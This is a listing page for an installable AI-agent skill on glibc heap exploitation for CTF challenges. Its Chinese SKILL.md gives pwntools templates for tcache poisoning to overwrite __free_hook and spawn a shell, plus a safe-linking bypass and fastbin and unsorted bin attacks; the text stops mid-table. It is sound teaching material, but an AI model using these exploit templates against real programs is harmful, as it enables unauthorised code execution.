
Pwn Chain
Chain glibc heap exploits (tcache poisoning, unsorted leaks, version-specific mitigations) when solving heap PWN binaries in CTF or security research.
Install
npx skills add https://github.com/zhaoxuya520/reverse-skill --skill pwn-chainWhat is this skill?
- GLIBC version matrix from 2.26 through 2.35+ (tcache, safe-linking, removed malloc/free hooks)
- Step-by-step tcache poisoning template for glibc 2.27–2.31 with leak-then-overwrite flow
- Explicit version checks via ./libc.so.6 and strings for reproducible exploit paths
- Chinese-language walkthrough aligned with classic heap menu challenge APIs (add/free/show)
- Documents post-2.34 pivot targets (FILE struct, exit handlers) when hooks are gone
Adoption & trust: 1 installs on skills.sh; 1.3k GitHub stars; trending (+100% hot-view momentum).
Recommended Skills
Azure Compliancemicrosoft/azure-skills
Openclaw Secure Linux Cloudxixu-me/skills
Entra Agent Idmicrosoft/azure-skills
Firebase Security Rules Auditorfirebase/agent-skills
Firestore Security Rules Auditorfirebase/agent-skills
Skill Vetteruseai-pro/openclaw-skills-security
Journey fit
Heap exploitation is applied when hardening or attacking native binaries before release or during deliberate security exercises—not during early product ideation. Canonical shelf is ship/security because the skill documents exploit primitives, libc version gates, and bypass patterns for vulnerable allocators.
SKILL.md
READMESKILL.md - Pwn Chain
# 堆类利用 (Heap Pwn) ## glibc 版本差异(必看) 堆利用的所有技术都跟 glibc 版本强绑定。先确认版本: ```bash ./libc.so.6 | head -1 # GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31. # 或 strings strings ./libc.so.6 | grep "GNU C Library" ``` | glibc 版本 | 关键变化 | 影响 | |-----------|---------|------| | 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 | | 2.27 | **引入 tcache** | tcache poisoning 极其简单 | | 2.29 | unsorted bin unlink 加固(chunk size 检查) | unsorted bin attack 被砍 | | 2.31 | tcache 多重检查(key 字段) | tcache poisoning 略复杂 | | 2.32 | **safe-linking**(fd 指针异或 PROTECT_PTR) | 需要先 leak heap base | | 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers | | 2.35+ | 进一步加固 | 同 2.34,FILE 路径仍可用 | ## tcache poisoning (2.27 - 2.31) ### 原理 tcache 是 per-thread cache,每个 size class 一条链表,单链表(只有 fd)。 double free 检查在 2.29 之前只看链表头是不是自己,不看遍历。 ### 利用模板(2.27 - 2.31) ```python from pwn import * p = process('./vuln') libc = ELF('./libc.so.6') def add(idx, size, data=b'a'): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ', str(idx).encode()) p.sendlineafter(b'size: ', str(size).encode()) p.sendafter(b'data: ', data) def free(idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ', str(idx).encode()) def show(idx): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ', str(idx).encode()) return p.recvline().strip() # === Step 1: leak libc base === # 申请大于 tcache 范围的 chunk(>0x408),free 进 unsorted bin,残留 main_arena 指针 for i in range(8): add(i, 0x80) add(8, 0x80) # 防止合并 for i in range(7): free(i) free(7) # 第 8 个进 unsorted bin,fd/bk 指向 main_arena+96 add(9, 0x80) # 切回来一部分,保留 fd leak = u64(show(9).ljust(8, b'\x00')) libc.address = leak - 0x3ebca0 # main_arena+96 偏移,glibc 2.27 amd64 log.success(f'libc = {hex(libc.address)}') # === Step 2: tcache poisoning → 写 __free_hook === add(10, 0x30) add(11, 0x30) free(10) free(11) # 用 UAF 改 chunk11 的 fd 指向 __free_hook edit(11, p64(libc.sym['__free_hook'])) add(12, 0x30) # 取出 chunk11 add(13, 0x30, p64(libc.sym['system'])) # 取出来的就是 __free_hook 地址,写 system # 触发:free 一个内容为 "/bin/sh\x00" 的 chunk add(14, 0x30, b'/bin/sh\x00') free(14) p.interactive() ``` ## safe-linking 绕过 (2.32+) ```text 原理:tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或: PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr 绕过: 1. 必须先 leak 一个堆地址(heap base) 2. 计算 obfuscated 值:fake_fd_obf = (chunk_addr >> 12) ^ target 3. 写进去 ``` ```python def protect_ptr(pos, ptr): return (pos >> 12) ^ ptr # leak heap base(unsorted bin 残留 / tcache fd 残留) heap_base = leaked_heap & ~0xfff # poisoning fake_fd = protect_ptr(heap_base + chunk_off, target_addr) edit(chunk_id, p64(fake_fd)) ``` ## fastbin attack (传统,2.26 及之前为主) ```text 关键点: 1. fastbin 单链表(只有 fd),无 size 检查除了 chunk size 必须匹配 2. 2.27 后 tcache 优先,fastbin 只有 tcache 满了才用 3. 仍然需要伪造一个看起来像 chunk 的内存(size 字段 = 真实 chunk size,± 一些) ``` ```python # double free add(0, 0x60) add(1, 0x60) free(0) free(1) free(0) # fastbin: 0 → 1 → 0 # 把 fd 改成 fake chunk(要求 fake_addr + 8 处的 size 字节匹配 0x70) add(2, 0x60, p64(fake_addr)) add(3, 0x60) add(4, 0x60) # 取出 fake_addr 处的 chunk ``` ## unsorted bin attack(仅 2.28 及之前) ```text 原理:写任意地址为 main_arena+88 2.29 起加了 bck->fd == victim 的检查,绕不过 用途:覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack ``` ```python # 申请 unsorted size chunk add(0, 0x100) add(1, 0x100) # 防止 top consolidation free(0) # UAF 改 bk 指针为 target - 0x10 edit(0, p64(0) + p64(target - 0x10)) add(2, 0x100) # 从 unsorted 取出 → unlink → main_arena+88 写到 target ``` ## large bin attack ```text 原理:large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize 2.32 起也加了 chunk size 检查,但仍可用于改 global_max_fast、_IO_list_all 等 高级技巧,常用于 House of Husk 等组合拳 ``` ## House of XXX 速查 | 名称 | 适用版本 | 核心思想 | |------|---------|---------| | House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 | | House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 | | House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp | | House of Roman | 2.23-2.26 | 12-bit 爆破